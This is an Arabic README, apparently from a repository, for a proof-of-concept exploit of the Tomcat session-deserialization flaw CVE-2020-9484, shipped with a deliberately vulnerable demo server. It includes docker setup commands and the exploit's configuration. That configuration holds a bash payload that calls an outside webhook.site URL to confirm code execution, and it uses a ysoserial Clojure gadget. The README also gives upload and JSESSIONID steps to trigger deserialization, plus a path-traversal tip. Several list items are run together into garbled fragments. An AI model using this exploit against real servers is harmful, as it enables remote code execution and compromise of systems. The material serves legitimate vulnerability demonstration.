
استغلال إثبات المفهوم لـ CVE-2020-9484، وتطبيق ويب ضعيف لتوضيحه.
يحتوي هذا المستودع على استغلال إثبات المفهوم لـ CVE-2020-9484، إلى جانب خادم ويب مثال معرض لهذا الاستغلال.
إصدارات Tomcat المتأثرة هي:
PersistentManager ويستخدم FileStore..session)، ويعرف الموقع الذي يتم رفعه فيه.clojure أو commons-collections) يمكن استخدامها لهجوم إلغاء تسلسل Java.الخدمة المثال هي خادم ويب مع صفحتين، /index.jsp (أو ببساطة /) و /list.jsp. تتيح للمستخدم رفع وتنزيل الملفات (خاصة بالجلسة الحالية)، وتعمل فعليًا كتخزين للملفات.
/upload لدعم رفع الملفات، وتسمح للمستخدم باختيار اسم الملف. هذا يجعل من الممكن رفع ملفات بامتداد .session. ومن المعروف أيضًا أن الخادم يخزن الملفات في الدليل /var/tmp/uploads.PersistentManager مفعل باستخدام FileStore. (انظر context.xml)clojure:1.8.0 في classpath مما يسهل هجوم إلغاء التسلسل. (انظر pom.xml)لإعداد الخدمة المثال المعرضة للخطر:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
يجب أن تكون الخدمة الآن قيد التشغيل على http://localhost:8085/POC_CVE-2020-9484/.
الآن قم بضبط متغيرات التهيئة في بداية exploit.py. يمكن أن يكون PAYLOAD، هنا سكريبت شل، أي ملف يمكن تنفيذه بواسطة الخادم.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
الآن قم بتشغيل exploit.py. يقوم بالإجراءات التالية:
.session)، والتي سيتم في النهاية إلغاء تسلسلها على الخادم:
PAYLOAD المرفوع على الخادم.PAYLOAD على الخادم.PAYLOAD كملف إلى الخادم..session التي تم إنشاؤها أعلاه إلى الخادم.JSESSIONID هو مسار ملفات .session المرفوعة سابقًا بالنسبة لتخزين جلسة الخادم، مما يؤدي إلى إلغاء تسلسلها على الخادم وتنفيذ الحمولة لاحقًا./path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. في مثل هذه الحالة، استخدام JSESSIONID من الشكل ../../../../tmp (بدلاً من قيمة عشوائية مثل "1337"*8 المستخدمة في exploit.py أعلاه) مع طلب POST لرفع الملف يمكن أن يكون مفيدًا في تحديد مكان تخزين الملف المرفوع على الخادم.